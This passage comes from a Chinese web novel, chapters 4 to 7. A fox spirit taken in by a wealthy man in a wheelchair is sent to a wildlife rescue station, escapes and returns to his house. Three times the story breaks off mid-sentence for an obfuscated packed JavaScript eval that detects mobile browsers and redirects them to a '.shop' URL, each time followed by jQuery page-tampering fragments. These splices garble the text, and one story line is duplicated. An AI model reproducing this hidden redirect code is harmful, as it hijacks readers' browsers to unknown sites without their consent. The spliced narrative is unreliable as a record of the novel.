李叔看到谢砚小心翼翼碰了一下小狐狸,眼底溢起几分笑意,去给小狐狸准备吃食了。
谢砚从小动物缘就不好,别说养猫养狗了,唯一养过的乌龟见他来了都要缩到缸里离他最远的角落藏起来。他还是第一次触碰到真正的毛绒绒的动物。
这只小狐狸虽然毛发黯淡,但丝毫不减它本身的可爱,它将自己打理得干干净净,嘴角微弯似笑非笑,一条大尾巴蓬松柔软。
是很讨人喜欢的小家伙。
谢砚瞄了眼小狐狸紧闭的眼睛,修长的手指轻轻拂过尾巴尖尖上的绒毛,嘴角忍不住勾起。
准备好食物后小狐狸还在睡觉,李叔把小狐狸放在一个空房间里,还好心在下面垫了块厚厚的地毯,又装了个微型摄像头。
新鲜的吃食被放在小狐狸的附近,两人等了好一会,也没等到呼呼大睡的小狐狸醒来。
已经是深夜十二点了,很少熬夜的谢砚揉揉眉心,“先睡吧。”
年纪渐大的管家李叔赞同点头,“这个房间有监控,明天再来看看怎么样,要是还是这样我再请兽医过来。”
-
翌日正是周六,谢砚难得没有回公司给自己加班,洗漱完下楼第一时间就去看小狐狸的情况。
李叔早就到了,正站在门口看着屋内,听到轮椅在地面上滑动的声音回过头,表情有些苦恼。
谢砚眉头一跳:“有问题?”
李叔侧身让开位置,“还在睡,睡一夜了,没有醒来过。”
谢砚望去,地上蜷缩的一团狐球似乎是为了回应李叔的话,咂咂嘴换了个仰躺的姿势,四脚朝天,相当之不拘小节。
谢砚:“……”
李叔更愁了,“该不会真的有事吧?”
活了大半辈子,他还是第一次碰到这么没有警惕心的狐狸。
书上不是说狐狸是警觉性很强的动物?
云容觉得自己的身体还在沉睡,意识却在渐渐清醒。
“这么久都没醒,真不会是被饿死了吧?”
“李叔,他还在呼吸。”
是谁在说话,好吵,扰狐清梦!
被打扰了美梦的小狐狸不满意皱眉,生气地抖抖尾巴,用爪子捂住耳朵想继续睡。
“动了!还没醒,我试试这招。”
哪招?
没等小狐狸想明白,一股肉香突然涌入鼻腔,小狐狸的眼睛还闭着,却忍不住抬起头去追随味道的来源。
肉!是肉!
只见地毯上的小狐眼睛还没睁开,就凭借着本能追逐放在它鼻尖的熟鸡肉,黑色的小鼻子嗅来嗅去。
下一秒,小狐狸一骨碌翻身而起,叼走了管家手上的肉,那不大的肉块一下子就消失在两人视线中。
李叔见小狐狸饿的实在是厉害,又将剩下的鸡肉放在一个小盘子里推到它面前,小狐狸吃得头也不抬,一条蓬松的大尾巴轻轻晃动,没一会那堆成小山的鸡肉就没了影。
谢砚:“……”
李叔:“……”
够一只大型犬吃的份量一下就被这只小狐狸狼吞虎咽地吃完了,也不知道到底是饿了多久。
吃完后,小狐狸还忍不住在那干净到可以当镜子的小盘子上嗅来嗅去,动作越来越慢,然后一顿,终于意识到什么,视线缓缓上移。
云容抬头,瞧见一眉目如画的男人坐在轮椅上,他身着一身休闲款的衬衫,深色的衣物更衬得他矜贵淡漠。
小狐狸开心得忍不住抖了抖尾巴尖,好看!比他昨晚在远处看到的还要好看!
没有把睡着的狐扔出去,还给狐吃鸡肉,心地这么善良,是个可以给狐当铲屎官的大好人!
想到自己不用流落街头,不用和其他动物抢吃的,还不会被饿死,吃饱喝足的小狐狸难以自制,蓬松的尾巴摇出残影,让人眼花缭乱。
不许再摇了!
小狐狸废了好大的力气才把摇尾巴的冲动收起来,他抖抖毛好让自己看上去可爱一点,用尾巴将自己围起来,正正经经地端坐,看向轮椅上俊美的男人,用自己最甜的声音朝着男人轻轻叫了一声,“啊呜呜?”
你好,请问要当狐的铲屎官吗?
狐狸本来就是极会撒娇的动物,这刻意软下来的声音叫得人心都酥了,李叔忍不住抖了一下,“少爷,它这是在感谢我们给肉吃呢。”
谢砚没有说话,目光落在小狐狸一抖一抖的耳朵上。
昨晚小狐狸一直在沉睡,此时他才看清楚小狐狸的模样。
小狐狸的体型比寻常狐狸小许多,又比成年猫大一些,即使因为营养不良毛发有些黯淡也不损它的可爱,一双自带眼线的蓝色大眼睛里充满信任,灵动又漂亮。他还记得卷在它爪上的蓬松尾巴手感有多好。
而小狐狸此时紧紧盯着他,仿佛全世界只剩下他一个人。
“少爷,要留下吗?”李叔又问了一句。
这是第一只不怕他的小动物。
谢砚有些动摇,他沉默了半响,摇了摇头,垂下眼皮躲开小狐狸的目光,拿出手机拨了个电话。
小狐狸疑惑歪头,这招还是丧彪昨晚交给他的呢,丧彪说每次它犯了错这样做铲屎官就没招了,怎么他的铲屎官还不答应自己的请求呢?
他低头想了想,努力把自己的瞳孔放大一些,好让自己看起来更可爱。
以前就有很多见过他的人类夸他好看,他都这么努力了,想必这个人类也没有办法拒绝自己的!
然后他听到没有办法拒绝他的人类对着手中的黑盒子嘀嘀咕咕自言自语,“喂?林业局吗?嗯,对,我家来了只狐狸,白色的,请尽快派人过来……”
小狐狸:?
男人顿了顿,看了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370595|199881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一眼还在地上卖萌的乖巧小狐狸,努力从那不停晃动的大尾巴上移开注意力,继续道:“不用带……”
小狐狸:???
带什么?带礼物吗?
怎么这么客气啊。
这铲屎官人可真好呀!他都忘记带礼物给铲屎官了,怪不好意思的。
云容缓缓抱紧了自己的大尾巴,有些期待。
也不知道会送什么礼物给狐。
半小时,小狐狸看到了几个穿着奇奇怪怪衣服的人走进房间,为首的人指着自己,得到旁边的老爷爷点头后,几个雄性人类成包围圈朝自己走来。
其中一个还发出奇怪的声音,“嘿嘿嘿~小狐狸~你乖乖的啊~”
云容:!!!
察觉到不对劲的小狐狸转身就想逃跑,然后被一把拎着了命运的后颈,就这么飞了起来。
拎他后颈皮也就算了,还颠了颠,啧啧点评,“这么瘦,还脏兮兮的,看来流浪了挺久。”
又粗略检查了一下,“毛发虽然干净但是指甲没有剪过,不像是人养的狐狸,附近山多,应该是野生狐狸冬天找不到食物偷偷溜进来的。”
“怎么进来的?”救护中心工作人员问道。
谢砚沉默了一下,“挖洞,然后撞上管家的脚,晕倒了。”
救护中心工作人员惊叹:“好家伙,新时代守株待兔!”
“哈哈哈,没想到狐狸也会碰瓷给自己找家啊。”
一时间,房间里回荡着众人欢快的笑声。
除了被拎着后脖的云容,他正要张嘴骂人,就被工作人员眼疾手快抓住了嘴筒子。
云容:唔唔唔——!有本事放开!看狐不骂死你们!
挣扎失败的小狐狸求助地看向唯一可以救他的铲屎官。
坐在轮椅上和小狐狸平视的谢砚沉默了一会,想起林业局人员说过的‘野生’二字,还是侧过头,没有开口说要留下小狐狸。
小狐狸不可置信瞪他,你这个两脚兽怎么回事?!居然敢拒绝当狐的铲屎官,还让奇奇怪怪的家伙把他抓走!
五分钟后,小狐狸被塞进了救护中心车里准备的铁笼子,小小的一团狐狸在金属笼子里更显得瘦弱。
小狐狸趴在铁笼子里,隔着铁栏眼睁睁看着那栋大房子离自己越来越远。
他狠狠咬了一口铁笼子的门,差点被崩掉一嘴小白牙,痛得龇牙咧嘴。
气得小狐狸破口大骂。
“臭男人!等着!狐一定会回来找你算账的!”
工作人员自然是听不懂狐狸的叫声想表达什么意思,但是也听得出来骂得挺脏。
坐他前面的大个子一开始还觉得好玩,没过几分钟就受不了了,转身轻敲了一下笼子,低声下气同狐狸商量,“祖宗,你别叫了,回到站里给你吃好吃的成不成?”
虽然不知道站里指的是哪里,但是云容察觉出来这几个人类对他并没有恶意,而且还承诺等下给他上供美食。
没有狐会嫌弃食物少!
他冷冷撇了一眼大个子,大发慈悲闭嘴了。
耳根子终于清净了,几人松了口气,玩笑道:“这么听话?该不会真成精了吧?”
还有一人合掌朝他拜了拜,念念有词:“狐仙狐仙,保佑我快快涨工资升职。”
气在头上的小狐狸没理他,把愤怒的目光投向窗外,坚硬的爪子在铁笼底上留下一道道划痕,连胡须都气得发抖。
他活了几百年也没试过被关在笼子里,这个仇不报他就不是青丘山的狐狸!
5. 第 5 章
小面包车驶离,离浅月湾渐行渐远,小狐狸紧紧盯着窗外,将路线记在脑里,思考着该怎么回去找铲屎官、不对,臭男人算账。
虽然他现在法力尽失,但修炼的规矩还在,最基本的一条就是不能随意伤害人类,不然就会遭到天谴,连仅存的灵智都会没有,变成一只真正的普通狐狸。
小狐狸幽幽叹了口气,他以为自己狐生已经够艰难了,没想到人类会用实际行动告诉他,狐生就是一难接着一难。
数不清的难。
面包车驶入一个大院,小狐狸头顶的两只大耳朵动了动,听到了不少其他动物的叫声。
他仔细辩听了一下,不少动物都是在叫嚣着让可恶的两脚兽赶紧放它出去,剩下的则是在问今天吃什么。
小狐狸眨眨眼,发现身下的车停下,连忙摆了一个正襟危坐的姿势。
过来帮忙卸笼子的人有些稀罕,“哟,好久没有见过这么淡定的狐狸了。”
司机下车,毫不留情地拆穿云容,“骂了大半天才停下来呢,估计是累了。”
小狐狸狠狠地给了他一眼刀,张嘴想骂,又听到那人夸自己好看,顿时闭上了嘴。
罢了,他是一个大度的狐狸。
“哦哟!好可爱的小狐狸!”
“天啊,眼睛居然还是蓝色的。”
“好漂亮的毛毛,真的是野生狐狸吗?”
在人类把他从笼子转移到外面,一群人围着他用小盒子对着他并且惊叹他美貌的时候,小狐狸很淡定。
尾巴却很受用地摇来摇去,没有狐狸不喜欢被夸好看,云容也不例外。
被转移到放了很多奇怪东西的房间里、放到冰凉凉铁桌子上的时候,云容依旧很冷静;在一个大爷手在他身上摸来摸去还翻他眼皮的时候也忍下了想要咬人的冲动。
他四百多岁了,不和这些才几十岁的凡人计较。
可在人类把他尾巴撩起后试图向他某个不可言说的部位伸出邪恶之手的时候,小狐狸不淡定了!
“啊啊啊啊!!!”小狐狸一边骂一边疯狂挣扎,硬是把自己的尾巴从人类的手里救出来后果断跑到角落里一屁股坐下,誓死守卫自己的屁股。
人类都是大坏蛋!怎么一点礼貌都没有!上来就想动我的屁股!狐狸的屁股是你们可以动的吗!还想用小棍子插进去!再动手动脚咬死你们!
别怪狐不客气!
人类,讨厌!!特讨厌!!
小狐狸骂人的尖锐声音回荡在小小的医疗室里,原本一直乖乖配合毫无攻击性的小狐狸此时仿佛换了个狐,张大嘴露出小尖牙破口大骂,骂几声换一个角度,在场的每一个人都没有被放过。
就很公平。
就在众人手足无措之时,刚刚送云容来的大个子想起车上的事情,灵机一动,在众人看傻子的眼神中低声下气同这小祖宗商量。
“小祖宗,我们不是要害你,是在给你检查身体呢。”
一米八大个子男人弯腰对一个小狐狸轻声细语的场面实在是有点搞笑,救助站工作人员想了想掏出手机录下来,准备用来做救助站宣传小视频。
这招居然还真有效,刚才还张大嘴巴骂人的小狐狸瞬间停下了骂骂咧咧,歪头看男人,似乎想知道他还能编出什么理由。
见小狐狸真的安静下来,众人面面相觑,没有出声打扰一人一狐的交流。
大个子再接再厉,“我们准备测一下你的体温,你要是不喜欢我们换个方法,把温度计夹在你后腿,你看行不行?”
真的?没有骗狐?
白色的小狐狸抖了抖耳朵,还是不太信任地看着他。
见小狐狸他态度松动,大个子在它不信任的眼神中下意识站直了身体,三指朝天,语气坚定:“我发誓,保证没有人动你屁股!假的话我这辈子找不到老婆!”
这誓言实在是有些狠了,单纯的小狐狸不疑有他,站起来,免为其强抬起来后腿,尾巴死死护着后面,朝还在发愣的兽医抬了抬头。
喏,赶紧的。
“我的个老天啊,这也太有灵性了吧,真听得懂啊?!”
“我就说是狐仙吧,等下我得去买个彩票,狐仙求求你让我中个大奖,你要多少鸡腿我都给你买,管够!”
“小王,录下来没?这可是个好素材!”
“领导放心,包录的!”
呆木若鸡的兽医回过神来,赶紧换了一根外用的体温计往小狐狸的后腿窝一塞,声音都夹了很多,“小狐狸呀,你夹一会,一会就好,别松开啊~等下给你吃鸡肉哦~”
行吧,看在鸡肉的份上。
大度陪人类一番折腾还被抽了一管血的小狐狸趴在救助站的笼子隔间里,眯着眼打量着笼子角落的一大碗生肉。
小心翼翼凑上去闻了一下,是鸡肉,新鲜的,没有毒。
云容忍不住皱了一下眉头,明明都是鸡肉,为什么上午在臭男人家吃的熟鸡肉味道那么好,这里的鸡肉闻上去有点腥呢?
不但没有令自己产生食欲,甚至隐隐作呕。
难道自己不能吃生肉了?可是哪有狐狸不吃生肉的?
不信邪的云容给自己做了一番心理建设后,站起身试探性舔了一下鸡肉,嗯,还是可以接受。
舌头一卷,叼了一块进嘴里。
呕——
直冲脑门的浓烈腥味让小狐狸立即将口中的生肉吐出来,上面隐约可见一个浅浅的牙印。
小狐狸直奔角落的水碗,大口大口舔着旁边碗里的清水,试图将口中令狐恶心的血腥味一洗而空。
恶心,太恶心了,他恨不得将舔了生肉的舌头都换一条。
“哟?世界上居然还有不吃生肉的狐狸?真是开眼了。”
小狐狸循着声音看去,是关在对面笼子里的一头狼,银灰色的皮毛,后背覆着一层深灰色的背毛,脸上还有一道狰狞的疤痕,只是睿智的眼神让那道疤痕看上去毫无杀伤力。
云容抖抖耳朵,山里的小狼崽子眼神都没有这么清澈。
见他看过来,狼似乎格外兴奋,在笼子里上蹦下跳几下,前爪不停扒拉着自己空荡荡的饭盆,好好一个饭盆被它弄得哐啷哐啷响,特别吵。
“小狐狸,你要是吃不下就给我吧,我快饿死啦!”
“这群两脚兽把我抓过来还不给吃的,太坏啦!”
云容张张嘴,正想说些什么,这时一个两脚兽在狼笼子面前蹲下,一边在手中的册子上写着东西一边碎碎念。
“嗯……嚎的还挺大声,恢复状况不错,很有活力,可以手术……”
“嗷呜呜呜呜!”虐狼啦虐狼啦!两脚兽虐狼啦!
看见两脚兽来了,那狼嚎得更大声了,用爪子不停扒拉着饭盆,示意要吃肉。
写完记录的工作人员毫不客气敲了敲门:“别想着吃了,要禁食一天,明天该给你做手术了。”
听到手术两个字,原本活跃的狼整个蔫了,两只大耳朵耷拉在脑后,不停地哼唧抗议。
工作人员没有理会它的无效抗议,又过查来看小狐狸的情况。
看着饭盆边只有浅浅咬痕的肉,他呆了一下,有些头疼地挠挠头
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370596|199881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,“那个闹着要吃的,这个闹绝食啊,可真是两个祖宗。”
工作人员拿起一块肉放在小狐狸面前,见对方不感兴趣转过头,连个眼神都没给他,感觉自己头发又掉了几根。
这只小狐狸瘦得不行,居然还不肯吃肉闹绝食,这样子下去可很难恢复身体状况,怎么达到放归标准啊。
工作人员愁得不行,突然想起听同事说求助人说给它喂过吃的,连忙打电话。
此时的李叔正在监工看园丁苦兮兮填补被小狐狸挖出来的洞,堆在一边的泥土被重新填回去后,光秃秃的一片在绿油油的草地中格外惹眼,像是浓密的头发里突然秃了一大片。
园丁抹了一把额头的汗,在松软的泥土上蹦了几下,把那处压实,“明天我再去买点草籽重新种上,这个小狐狸也太能挖了。”
破坏力不亚于他女儿之前养的那个把自己的笼子咬出个窟窿,还把家里墙角都挖了个遍的仓鼠。
只是一个求质一个求量的差别罢了。
二楼的窗户旁,谢砚将这一幕看在眼里,他目光落在被填补好的小洞上,突然想起抱着小狐狸那柔软的手感,有些遗憾。
应该趁小狐狸睡着时多摸摸的。
除了谢以川江照月夫妻和李叔,谁也不知道高冷矜贵的谢氏总裁其实是个不折不扣的毛绒控。
从小到大谢砚尝试过养小狗小猫小兔子各种可爱毛茸茸,可没想到每一个动物都对他避而远之,强抱了还会得到一个凶凶的哈气。
毛茸茸的小动物养不了,那就养没有毛的吧:)
却没想到连退而求之的小乌龟都不例外,只要他一靠近,原本在窗边懒洋洋晒太阳的小乌龟都会迅速跑到角落缩进厚厚的龟壳里,用什么好吃的都哄不出来。
甚至连金鱼在谢砚靠近的时候都会缩在水草里瑟瑟发抖。
久而久之,谢砚认命了,彻底放弃了养宠物的想法,只能靠可爱的玩偶来缓解自己想要抚摸毛茸茸的欲/望。
活的不喜欢他也就罢了,死物总逃不了吧。
这只小狐狸可以说是他活了二十多年来唯一愿意让他靠近的动物了,连醒来后都没有迅速躲开他,更没有同他龇牙咧嘴。
想起小狐狸被救助站带走时无助蹬腿的模样,谢砚遗憾又心痒难耐。
真的好可爱,如果有机会再摸摸的话就好了。
要不定做一个仿真狐狸玩偶?
骤然响起的手机铃声打断了谢砚的思绪,他回过神来,是救助站的来电。
一接通,对面人表明身份后就直入主题,“谢先生,请问您早上给小狐狸喂的是什么东西?”
谢砚一愣,“熟鸡肉,是什么问题吗?”难道小狐狸的体质不适合吃鸡肉导致出问题了?
“没有没有。”工作人员解释,“是小狐狸一直不肯吃我们喂的生鸡肉,所以打电话过来问一下情况,谢谢您了。”
“客气了。”谢砚还是没忍住追问,“方便说一下小狐狸现在的情况吗?”
工作人员有些郁闷:“除了不肯吃东西,目前还没有发现其他问题,身上也没有外伤,具体还要等检查报告出来,再不吃的话我们也只能喂熟肉试试了。”
饶是谢砚也有些纳闷,世界上居然会有不喜欢吃生肉的狐狸?
难道真的是被弃养的?
想起小狐狸瘦弱的模样,他不禁有些气从心来,也不知道是哪家那么不负责任把狐狸养成这样。
可下一秒,谢砚心里又燃起一点微弱的希望,如果这只小狐狸真的是被遗弃的,那他是不是可以接回来养?
6. 第 6 章
野生动物救助站。
小狐狸的检查报告很快就出来了,刚刚睡着的云容被工作人员从笼子里捞出来,几个人在他身上捏来捏去,小狐狸好不容易才忍住想要咬人的冲动。
忍住,要忍住!伤了人类可是会背负因果,是会被天道惩罚的!
“有些营养不良啊。”兽医掰开他的口腔检查了一番,又摸了一把瘪瘪的肚子,吩咐专门照顾小狐狸的工作人员,“多喂点好吃的补补,要是实在不愿意吃生肉就先喂熟肉吧。”
工作人员犹豫道:“可是……一直这么抵触生肉的话,恐怕不利于放归啊。”他总不能硬塞进去。
“放归不放归什么的后面再说。”兽医叹了一口气,“先让它活下来,如果后面还是没有达到放归标准,再联系动物园那边吧。”
这么漂亮的小狐狸不愁没有动物园要,不过……狐狸不是什么珍稀物种,也不是什么动物园都有空特意给一只狐狸做特殊餐。
对对对。
话题中心连连点头,让狐吃饱才是最重要的!
不过,动物园又是什么?
小狐狸带着满腹疑问被关回笼子里,他将求助的目光放在房间里唯一的同类身上——那头饿到啃空饭盆的狼。
这头灰狼虽然看上去二,实际上却在猎物匮乏时没少碰瓷人类,然后假装被人类抓走美滋滋吃送到嘴边的肉肉,多进多出之下,救助站俨然已经成为它的第二个家,所以对人类世界的规则也颇为了解。
这次也是误食了毒蘑菇自己到救助站门口求助的。
“动物园呀,”灰狼的语气悠悠,说出来的话却令狐害怕,“动物园就是专门把动物关起来的一个园子,把各种动物放在一个大笼子里起来给人类观赏。”
小狐狸吓得抱紧了自己的尾巴,颤声问道,“关起来?关多久呀。”
“当然是关一辈子咯~”灰狼瞥了一眼与一无所知的小狐狸,继续道:“命好就关在有钱的动物园里,每天吃饱睡好,唯一的苦恼就是没有自由。”
小狐狸咽了咽口水,“那命不好的呢?”
“命不好的啊,自由没有,肉也没有,病了也没人管,只能熬着日子等死。”灰狼冷笑,“等死了后说不定都没有人发现,还不如一开始就在野外自由自在。”
小狐狸仿佛看见了自己被关在动物园里饿死的惨状,不由得颤了一下,把自己的尾巴抱得更紧了,“那你被抓来这里不害怕吗?”
灰狼得意摇了摇尾巴,“嘿嘿,我早打听过了,这边动物园有钱,对动物也好,吃喝不愁呢。反正我也不爱动弹,对我来说就是换个地方,肉还送到嘴边求着我吃,还不用担心老了抓不到猎物,我才不怕呢!”
小狐狸:“……”
好松懈的生活态度,这样似乎也挺好的。
云容想了想,不理解但尊重。
这个笼子他才待了一会儿就受不了了,他无法想象自己在一个笼子里待一辈子的可怕日子,还不如一开始就饿死在山里呢。
而且在这么多人眼皮子底下,他怎么重新修炼呀?
小狐狸打了个哆嗦,默默把自己团成一个狐球,思索着自己怎么才能逃离这里。
夜幕低垂,工作人员看到缩在角落里的小狐狸和它旁边饭盆里一块都没有少的肉,长长叹了口气,把笼子里的饭盆拿起来。
拿走前还不死心地将肉放在小狐狸鼻尖转了一圈,见它连眼睛都懒得睁开毫无一丝留恋之意后,认命端走了。
小狐狸撩起眼皮,工作人员沮丧的背影消失在门后,暗暗道了一句对不起了两脚兽,不是他不想吃,实在是吃不下呀!
其实他好饿的……
饥肠辘辘的小狐狸舔了舔自己的爪子,准备用睡眠来抵抗饥饿。
没过多久,工作人员去而复返,手上还端着什么东西。
笼子里的白色狐团子咻的一下立了两只大耳朵起来,随着工作人员的脚步声一抖一抖。
他闻到肉肉的味道啦!
和早上吃的肉肉一样香!
刚才还无精打采的小狐狸迅速站起来,抬着头,黑溜溜的小鼻子一嗅一嗅,追逐着空气中的肉香。
工作人员被他的模样可爱到了,将水煮鸡胸肉放在小狐狸面前,摸了摸它的耳朵尖,“吃吧吃吧,多吃点才能恢复身体。”
饿了快一天的云容大口大口嚼着鸡肉,吃得眼都眯起来了。
工作人员痴迷地看着小狐狸狼吞虎咽的样子,连吃肉时吧唧吧唧的声音都觉得异常可爱。
难怪纣王如此为妲己着迷,这实在是不能怪纣王啊。
质疑纣王,理解纣王,成为纣王,超越纣王。
工作人员越看越入迷,脸上还挂着诡异至极的笑容,真叫狐毛骨悚然。
小狐狸努力忽视掉那炙热的视线,埋头苦吃,一盘肉很快就见了底。
怪异的欢快音乐打断了云容的进食,他叼着嘴里的肉弹到笼子角落,警惕地左顾右盼,寻找音乐声的来源。
只见工作人员从裤子里掏出一个扁扁的黑色盒子放在耳边,自言自语,“什么?怎么有野猪?!”
“还是野猪群?!在高速公路?好好好我这就过来!”
“这大晚上的,怎么又来野猪了!”工作人员骂了几句匆匆忙忙离开,房间里只剩下云容和睡得正香的灰狼。
小狐狸将目光转向未关好的窗户,缓缓眯起眼。
刚刚人类将肉肉放进来的时候,是怎么开门来着?
小狐狸望向对面灰狼笼子上的开关。
似乎并没有设想到动物会有越狱的可能,灰狼笼子的开关只是简单扣上,外面甚至连一把锁都没有。
小狐狸又观察了一下房间里另外两个空笼子,开关和灰狼笼子的结构是一样的,也就是说他笼子大概率也是这样。
雪白的狐狸爪探出笼子,扒拉了几下就寻到了门把手,一勾一拉——
关了他一天的笼子们轻轻松松就被打开,小狐狸傻眼了,没想到居然会如此容易。
每次他惊叹人类发展进步的时候人类就会给他一个大大的惊喜,可真是一种矛盾的生物。
没有时间犹豫,吃饱喝足攒够了力气的小狐狸来到窗下,轻轻一跃就跳到了窗台上,看到下面的草地松了一口气。
幸好这里是一楼,给他的逃跑之路减少了不少难度。
爪子踩在松润的草地上,小狐狸环视了一圈救助站的院子,瞬间计划好逃跑路线。
院子里静悄悄的,可能大部分工作人员都去处理那些出逃野猪了,只看到一个保安在不远处巡逻的身影。
小小的狐狸以快到看不清楚顺着墙根溜到了大门旁边,再趁着安保转过身时借着他的视线死角逃了出去。
救助站的老式铁门上面的雕花栏杆突然伸出一只雪白的爪子,随后是一只小小的狐狸脑袋。
蓝色的圆眼睛滴溜溜地转了几下,小狐狸探头探脑瞧了瞧周围,确定没有人发现他后,动作迅速钻了出来,在草丛里躲好。
他的体型不过比猫大一些,如果不是背后那条比他身体还要大的尾巴,乍一看还真认不出来。
他抬头嗅了嗅空气,凭借着犬科的灵敏嗅觉找到了泥土混合着草木的气息中隐约残留的味道。
那是他早上来时乘坐的那辆车的气味。
蓬松的大尾巴摇晃出一个愉悦的弧度,小狐狸伸了个懒腰舒舒筋骨后目标明确追寻着余味飞奔起来。
残余的味道很浅很浅,但是逃不过狐狸的鼻子。
狐狐来找你报仇了!
残余的味道很浅很浅,但是逃不过狐狸的鼻子。
-
夜幕浓稠。
浅月湾在寂夜中沉睡,偶尔有夜风拂过树叶
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370597|199881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时的沙沙声。
值班的巡逻保安打了个哈欠,拍拍自己的脸强打起精神,完全没有发现在浓密的绿植里有一只白色的小动物一闪而过。
大概是之前修炼过的缘故,云容的体质比寻常狐狸好不少,哪怕还带着营养不良的buff,跑跑停停几个小时才到谢砚家居然也不觉得很累。
一会生二回熟,他还记得橘猫带他走过的路线,熟稔无比地躲开小区的安保,顺着灌木蹿到了那个熟悉的墙根底。
他歪头一瞧,乐了。
没想到那个男人居然只是把洞填了回去,还没有来得及重新种上植物。
光秃秃的大一片地可不就是在故意勾引狐挖洞吗?
小爪子在松软的泥土上踩了踩,小狐狸转了一圈,找好了目标,高高跃起,再猛地一跳,开挖!
爱挖洞是狐狸的天性,两只爪子在泥土中飞快刨着,很快周围又堆起了小土堆。
小狐狸越挖越兴奋,忍不住想起在山里吃不饱但是逍遥自在的日子,两个爪子刨得越发快,很快就把两脚兽辛辛苦苦填好的坑重新挖了出来,甚至还很过分地比之前还大。
干完这么一大番体力活的云容趴在一旁大口大口喘着气,他眯眼打量着这个明显可以轻松钻过去的洞,毛绒绒的尾巴尖满意地晃了一下。
报复计划一居然这么轻松就完成了,他可真是个厉害的狐。
剩下的计划得赶紧想才行,如果不是臭男人喊人来抓他,他也不会被关在狗笼子里,还关了整整一天!
他可是闻见那个笼子上有一大股傻狗的味道!
被关在狗笼子里,简直就是是狐生耻辱!
歇够了的小狐狸轻轻松松钻进洞里,他这次可有经验了,知道先把头伸进去察看清楚情况,以免又被撞晕。
丢脸的事情发生一次就够了。
墙根的角落里突然伸出一对雪白的大耳朵,两只大耳朵抖了抖,又转动几下谨慎地探寻四周的情况,确定安全后才露出了个可爱的狐狸。
院子里只有虫鸣声,大房子里没有一丝声响。
小狐狸爬出来,抖落身上的泥土,抬头看着黑漆漆的窗户有些意外。
是睡觉了吗?
那他岂不是要等到明天才能报复了?
沮丧的小狐狸趴在前爪上,舔了舔自己有些酸痛的爪子,很快又振作了起来。
不管怎么样,先找到人再说!
云容爬起来,顺着房子绕了一圈,仔仔细细趴在每一个窗户下听了一会,确定里面都没有动静后,来到了前门。
他看着紧闭的大门歪头端量了一会,两个前爪悬空就这么站起来,试探性在门上挠了一下。
刺耳的声音在寂静的院子里响起,坚硬的指甲却没有在门上留下一丝痕迹。
不行?
小狐狸又不死心地挠了几下,爪子不小心碰到了门上的把手,一个不小心,借着重力就这么顺着光滑的把手滑了下来。
云容:“……!!!”
这里怎么会动!难道是特地布置的机关吗?!是不是会有暗器射出来?!
小狐狸飞快地闪到一边的柱子后面躲起来,他屏声静气等了好一会,发现没有任何利器射出来后,才小心翼翼探出一个脑袋。
还是没有人出来,连灯都没有点亮,也没有听到脚步声。
难道真的不在家吗?
不甘心的小狐狸又在门上拍了两下,歪头等了一会后,还是没有人来开门。慢慢吞吞贴着大门坐下,在地毯上把缓缓把自己团成一团。
唔……狐真的好困……
只是在门口睡一会儿没有关系的吧……
跑了大半个晚上的小狐狸打了个哈欠,团成一个球,靠着门就这么睡着了。
门框右上方的摄像头红点闪烁,把这一幕纤悉无遗发送到了房子主人的手机上。
7. 第 7 章
谢家老宅。
高大俊美的男人只穿了一件宽松的浴袍,因为刚刚洗完澡,平时总是打理得整整齐齐的头发散落在额前,晶莹的水珠顺着发梢一颗一颗滴落,落在锁骨上,再滑落到胸口,顺着胸前结实的肌肉纹路蜿蜒而下,在暖黄的灯光下映出隐约水光,即使坐在轮椅上整个人也充满了性张力。
谢砚低头看着助理发过来的行程安排,身侧的手机突然响起刺耳的警报声。
推送信息一条条弹出来,“当前时间段门前有人经过”,“门前有异常情况”,“门锁开启失败”。
谢砚挑眉,不过才离开一天,居然又有人闯进来还试图开门。
还是一个这么蠢的小贼,居然直接开门锁,是想找理由吃公家饭?
浅月湾不大,但离他公司近,平时除了定期搞卫生的保洁和负责做饭的阿姨,都是他一人居住。
现在也是因为受伤李叔才会过去照顾他,他回了谢家,李叔自然是跟着他一起回来,于是浅月湾里现在一个人也没有。
没想到安保最好的小区居然遭贼惦记上了,谢砚心想该告诉小区物业此事,拿起手机。
打开门锁自带的监控录像,调到异常时间段,看到的却不是人,而是一只黑白相间的模糊东西,以及格外明显的刺挠声。
有流浪猫上门讨食了?
谢砚蹙眉,打开前廊的监控,看到了一个意想不到的身影。
雪白又瘦小的一团扭着大尾巴在他家门不停地扒拉,还试图开门,俨然就是白天被救助站带走的小狐狸!
怎么又回来了?他记得救助站里这里挺远。
